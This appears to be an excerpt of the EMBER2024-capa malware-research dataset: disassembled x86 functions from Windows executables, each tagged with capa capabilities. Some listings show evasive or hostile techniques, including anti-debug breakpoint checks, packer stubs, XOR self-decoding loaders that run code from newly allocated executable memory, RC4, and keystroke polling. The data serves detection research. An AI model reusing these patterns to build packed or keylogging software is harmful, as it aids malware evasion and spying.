joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44dd20
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x48dbf3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.00481492
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], 0x497570
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], 0x496170
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [0x48f158]
push eax
mov ecx, edi
call fcn.00486b2a
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.00488140
test eax, eax
je 0x44de3c
mov ecx, dword [esp + 0x3c]
call fcn.00486b57
mov ecx, dword [esi + 0x1c]
mov ebp, dword [0x48f3dc]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x44de00
push edi
mov ecx, esi
call fcn.004841c0
mov ecx, esi
call fcn.0044dfa0
cmp dword [esp + 0x38], 1
jne 0x44de35
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.004842fb
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28

Function at 0x450860
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x450893
push esi
call fcn.00453950
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x45088c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x450919
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x450902
mov eax, dword [esi + 8]
test eax, eax
je 0x4508b7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x4508fe
cmp eax, 2
je 0x450902
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4508aa
cmp eax, 3
je 0x4508dd
cmp eax, 1
jne 0x4508aa
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4508aa
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4508aa
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00450940
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x450928
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00450940
add esp, 4
pop esi
ret
Function at 0xa52058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00a521a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xa5207e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa5206a
add dl, dl
jne 0xa52089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa520dc
xor eax, eax
add dl, dl
jne 0xa52096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa5217d
add dl, dl
jne 0xa520a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa520b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa520bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa520c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xa520d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xa52075
mov eax, 1
add dl, dl
jne 0xa520ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa520f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa520e1
sub eax, ebx
mov ebx, 1
jne 0xa52128
mov ecx, 1
add dl, dl
jne 0xa5210e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa52119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa52105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa52075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xa5213f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa5214a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa52136
cmp eax, 0x7d00
jae 0xa5216d
cmp eax, 0x500
jb 0xa52168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa52075
cmp eax, 0x7f
ja 0xa52170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa52075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xa5219e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xa52075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x103aee10
Capabilities:
Encode data using xor

Disassembly:
jmp 0x103aee1a
pushal
call 0x103aee20
pop ebp
sub ebp, 0x10
sub ebp, 0x3aee10
mov al, byte [esp + 0x28]
cmp al, 1
je 0x103aee44
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x103aee4d
mov eax, 0x3aee10
add eax, ebp
add eax, 0x63
mov ecx, 0x5f4
mov edx, 0x482620e9
xor byte [eax], dl
inc eax
dec ecx
jne 0x103aee64
jmp 0x103aee77
bound esp, qword [edx]
pushal
aad 0xe9
jmp 0x2163576b

Function at 0xc0d058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xc0d1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xc0d07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xc0d06a
add dl, dl
jne 0xc0d089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xc0d0dc
xor eax, eax
add dl, dl
jne 0xc0d096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xc0d17d
add dl, dl
jne 0xc0d0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc0d0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc0d0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc0d0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xc0d0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xc0d075
mov eax, 1
add dl, dl
jne 0xc0d0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc0d0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xc0d0e1
sub eax, ebx
mov ebx, 1
jne 0xc0d128
mov ecx, 1
add dl, dl
jne 0xc0d10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xc0d119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xc0d105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xc0d075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xc0d13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xc0d14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xc0d136
cmp eax, 0x7d00
jae 0xc0d16d
cmp eax, 0x500
jb 0xc0d168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xc0d075
cmp eax, 0x7f
ja 0xc0d170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xc0d075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xc0d19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xc0d075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10005510
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1000551f
pop dword [ebp - 8]
mov eax, 0x669f2e2d
add eax, 0xa96126f2
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x3887e
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x4d73
xor esi, esi
add esi, eax
mov edx, 0x7b4a0f07
add edx, 0x94b788f9
add edx, dword [ebp - 8]
mov edi, 0x136d9f61
sub dword [ebp - 4], 0xd004b8e3
mov ebx, dword [edx]
xor dword [ebp - 4], 0x4dfc7fc
sub ebx, edi
add dword [ebp - 4], 0x956943e3
mov dword [esi], ebx
add dword [ebp - 4], eax
add esi, 4
add edx, 4
loop 0x1000556f
add eax, 0x1289f
mov ebx, eax
add eax, 0x739e5227
sub eax, 0x739e5222
mov ecx, 0x61f6a5ba
add ecx, 0xae095a46
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..retplne
nop
mov ebx, 0x40de38
nop
mov ecx, 0x6fd819c1
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..reloc
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x1a3f248b
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x10003ae0
Capabilities:
Enumerate pe sections

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov ecx, dword [esi + 4]
sub ecx, 1
js 0x10003b0b
mov eax, dword [esi + 8]
lea edx, [eax + ecx*4]
mov eax, dword [edx]
movzx eax, word [eax + 6]
cmp eax, 4
je 0x10003b1e
cmp eax, 0xd
je 0x10003b1e
sub edx, 4
sub ecx, 1
jns 0x10003af3
mov eax, dword [esi]
sub eax, 1
je 0x10003b2c
sub eax, 2
je 0x10003b25
mov eax, 2
pop esi
ret
mov eax, 1
pop esi
ret
mov edx, 0x100040e0
jmp 0x10003b31
mov edx, 0x10004020
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0x18]
sub edx, eax
sub edx, 0xa
mov dword [ecx + 1], eax
mov eax, dword [esp + 0x10]
mov byte [ecx], 0xb8
mov byte [ecx + 5], 0xe9
mov dword [ecx + 6], edx
mov dword [ecx + 0x10], eax
mov eax, dword [esp + 0x14]
mov dword [ecx + 0xc], esi
mov dword [ecx + 0x14], eax
xor eax, eax
pop esi
ret

Function at 0x10004c6f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10004c7e
pop dword [ebp - 0x14]
mov eax, 0x10004c7e
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x34096
push 0
mov eax, 0x7cd1b961
sub eax, 0x6cd16959
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x3e24
mov edi, eax
mov ebx, 0xe4871d90
add ebx, 0x2b795670
add ebx, dword [ebp - 0x14]
mov edx, 0x38fece3d
add edx, 0x7f40822
add dword [ebp - 8], edi
mov esi, dword [ebx]
xor dword [ebp - 0xc], 0x9d169d81
add esi, edx
add dword [ebp - 8], ecx
mov dword [edi], esi
mov dword [ebp - 0xc], 0x6b25336e
add edi, 4
add ebx, 0xbd7b67f
add ebx, 0xf4284985
loop 0x10004cd2
add eax, 0xeb63
mov ebx, eax
add eax, 0x84081fb7
sub eax, 0x84081fb2
mov ecx, 0xc563511e
sub ecx, 0xb563511e
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x422790
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4e730b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004dae61
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x422812
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004d7df3
mov eax, dword [eax]
push 0x576d10
push eax
call fcn.004ad674
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004db0ec
test bl, bl
je 0x422812
push 0x576d10
lea ecx, [esp + 0xc]
call fcn.004db47c
push 0x576d1c
lea ecx, [esp + 0xc]
call fcn.004db47c
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42284e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004db0ec
jmp 0x422919
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4228d2
lea edx, [esp + 0x7c]
push 0x576d18
push edx
call fcn.004ad674
add esp, 8
test eax, eax
je 0x4228d2
lea eax, [esp + 0x7c]
push 0x576d14
push eax
call fcn.004ad674
add esp, 8
test eax, eax
je 0x4228d2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x422862
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004db0ec
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x423120
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x423182
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x423190
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4e738b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x587524]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4232c8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4231f6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004db0ec
xor eax, eax
jmp 0x42333f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004db229
push esi
lea ecx, [esp + 0xc]
call fcn.004db4b8
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x42331d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00423120
test eax, eax
jne 0x42331d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00423120
test eax, eax
jne 0x42331d
lea eax, [esp + 0x14]
push 0x576d2c
push eax
call fcn.004ae8b0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4232fc
lea ecx, [esp + 0x14]
push 0x576d28
push ecx
call fcn.004ae830
mov esi, eax
add esp, 8
test esi, esi
jne 0x4232fc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4232ff
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004db1d9
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x42320e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004db0ec
xor eax, eax
jmp 0x42333f
mov byte [esi], 0
push 0x576d24
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004db0ec
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x435e70
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x435ede
cmp si, 0x69
ja 0x435ede
add esi, 0xffd0
cmp si, 0x11
je 0x435eae
push 0x11
call edi
test ax, ax
jge 0x435eae
or esi, 0x2000
cmp si, 0x10
je 0x435ec3
push 0x10
call edi
test ax, ax
jge 0x435ec3
or esi, 0x4000
cmp si, 0x12
je 0x435ed8
push 0x12
call edi
test ax, ax
jge 0x435ed8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x435eeb
mov esi, 0xbd
jmp 0x435e9f
cmp si, 0x6e
jne 0x435ef8
mov esi, 0xbe
jmp 0x435e9f
cmp si, 0x6f
jne 0x435e99
mov esi, 0xbf
jmp 0x435e9f

Function at 0x4378c0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x645d70]
xor edx, edx
cmp eax, edx
jne 0x4378e6
xor eax, eax
mov byte [eax + 0x645c70], al
inc eax
cmp eax, 0x100
jl 0x4378ce
mov dword [0x645d70], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x645c70
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x437977
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x43794a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x437918
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4379f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x437a43
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x437a2a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43ee50
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x43efe8
cmp ebp, ebx
jle 0x43efe8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x43eeae
dec eax
or eax, 0xfffffff8
inc eax
je 0x43eeb5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x43eec4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x43eecb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004dae2d
add esp, 4
cmp eax, ebx
je 0x43eeec
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004dae2d
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x43efde
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x43efc5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x43efb1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x43efa6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x43efb4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x43efb4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x43ef50
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x43ef41
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x442850
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4e8c68
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x442889
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.004e2f0f
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004e2f5b
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00442910
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.004e2f98
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24